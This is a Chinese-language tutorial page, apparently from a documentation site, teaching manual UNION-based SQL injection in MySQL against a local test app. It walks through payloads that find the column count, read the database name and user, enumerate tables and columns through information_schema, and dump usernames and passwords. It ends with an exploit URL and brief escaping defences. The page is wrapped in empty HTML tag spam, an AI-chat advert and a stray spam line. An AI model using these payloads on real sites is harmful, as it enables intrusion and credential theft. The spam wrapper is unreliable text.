<ruby id="bdb3f"></ruby>

    <p id="bdb3f"><cite id="bdb3f"></cite></p>

      <p id="bdb3f"><cite id="bdb3f"><th id="bdb3f"></th></cite></p><p id="bdb3f"></p>
        <p id="bdb3f"><cite id="bdb3f"></cite></p>

          <pre id="bdb3f"></pre>
          <pre id="bdb3f"><del id="bdb3f"><thead id="bdb3f"></thead></del></pre>

          <ruby id="bdb3f"><mark id="bdb3f"></mark></ruby><ruby id="bdb3f"></ruby>
          <pre id="bdb3f"><pre id="bdb3f"><mark id="bdb3f"></mark></pre></pre><output id="bdb3f"></output><p id="bdb3f"></p><p id="bdb3f"></p>

          <pre id="bdb3f"><del id="bdb3f"><progress id="bdb3f"></progress></del></pre>

                <ruby id="bdb3f"></ruby>

                ThinkChat2.0新版上線,更智能更精彩,支持會話、畫圖、視頻、閱讀、搜索等,送10W Token,即刻開啟你的AI之旅 廣告
                **concat:** 用于字符串連接; ``` select concat('a','b',1); ``` ![](https://img.kancloud.cn/76/c5/76c5d3097af16bff6996f5198b87838d_271x110.png) **concat_ws:** 用于字符串連接,第一個參數是連接字符串的分隔符; ``` select concat_ws(',',1,2,3); ``` ![](https://img.kancloud.cn/4a/8a/4a8aea8edf15b7317c8fa488368e93c9_299x114.png) **手工注入** 第一步確定列數 比如如下圖user表有4列(id、username、pwd、sex) ![](https://img.kancloud.cn/1d/98/1d98bb35b2c17af7c87968f33cef3182_304x101.png) ~~~ select * from user where id = 1 order by 1 select * from user where id = 1 order by 2 ... select * from user where id = 1 order by n ~~~ 超出4則會報錯或者不返回信息,這個根據不同網站處理方法不一樣 查出4列 ``` select * from user where id = 1 union select 1,2,3,4; ``` 小修改下就查出數據庫的用戶名而不是use表的 ``` select * from user where id = 1 union select 1,user(),3,4; ``` ![](https://img.kancloud.cn/d1/04/d104dc7d05c12e34c0f70906d4737c79_370x98.png) >[danger]注意:上面確定多少列后后面必須跟多少列否則會報`The used SELECT statements have a different number of columns`所以`union select 1,2,3;`和`union select 1,2,3,4,5;`都是不行的 使用**database()**?函數輸出數據庫名稱 ``` select * from user where id = 1 union select 1,database(),3,4; ``` ![](https://img.kancloud.cn/b1/ec/b1eca0442989da9e623f9b8d0609cb4c_589x109.png) 使用**負數**只輸出union的select值: ``` select * from user where id = -1 union select 1,database(),3,4; ``` ![](https://img.kancloud.cn/80/f8/80f8aa6dab5bf24b821d17201843b61e_568x99.png) 綜合上述信息 ``` select * from user where id = -1 union select user(),database(),3,4; ``` ![](https://img.kancloud.cn/3b/72/3b72cd73ccffd025f0fd3960b05440ee_632x94.png) 更具上面的信息找出對應的表 ``` select * from user where id = -1 union select 1,table_name,3,4 from information_schema.tables where table_schema = 'test'; ``` ![](https://img.kancloud.cn/65/ec/65ecf71df665bd03acca17d2a1a5d78b_286x191.png) >[danger] 注意union時 user表與information_schema.tables的表和字段的字符集和排序規則要一樣,我的mysql的information_schema數據庫及其表和字段配需規則都是utf8_general_ci而user的卻是utf8_unicode_ci所以就報了`1271 - Illegal mix of collations for operation 'UNION'`的錯誤 > 根據表查詢表有哪些字段 ``` select * from user where id = -1 union select 1,column_name,3,4 from information_schema.columns where table_schema = 'test' and table_name='user'; ``` ![](https://img.kancloud.cn/74/33/7433f459bfba031d784a3d4f638be27b_294x128.png) 最后查出有用的信息 ``` select * from user where id = -1 union select 1,concat_ws(char(32,58,32),id,username,pwd,sex),3,4 from user; ``` ![](https://img.kancloud.cn/dc/7f/dc7fb632fa66212ecf68a74ba6fc7b16_375x113.png) http://localhost/test.php?id=1 and 1=1; 利用:`http://localhost/test.php?id=-1%20union%20select%201,user%28%29,3%20from%20book` 防御 轉義 ①:開啟 gpc (php5.4的更高版本中,這個選項被去掉了,避免用戶依賴自動轉義,高版本需要用戶自己轉義) ②:mysql_real_escape_string ③:addslashes ④:關鍵字過濾
                  <ruby id="bdb3f"></ruby>

                  <p id="bdb3f"><cite id="bdb3f"></cite></p>

                    <p id="bdb3f"><cite id="bdb3f"><th id="bdb3f"></th></cite></p><p id="bdb3f"></p>
                      <p id="bdb3f"><cite id="bdb3f"></cite></p>

                        <pre id="bdb3f"></pre>
                        <pre id="bdb3f"><del id="bdb3f"><thead id="bdb3f"></thead></del></pre>

                        <ruby id="bdb3f"><mark id="bdb3f"></mark></ruby><ruby id="bdb3f"></ruby>
                        <pre id="bdb3f"><pre id="bdb3f"><mark id="bdb3f"></mark></pre></pre><output id="bdb3f"></output><p id="bdb3f"></p><p id="bdb3f"></p>

                        <pre id="bdb3f"><del id="bdb3f"><progress id="bdb3f"></progress></del></pre>

                              <ruby id="bdb3f"></ruby>

                              哎呀哎呀视频在线观看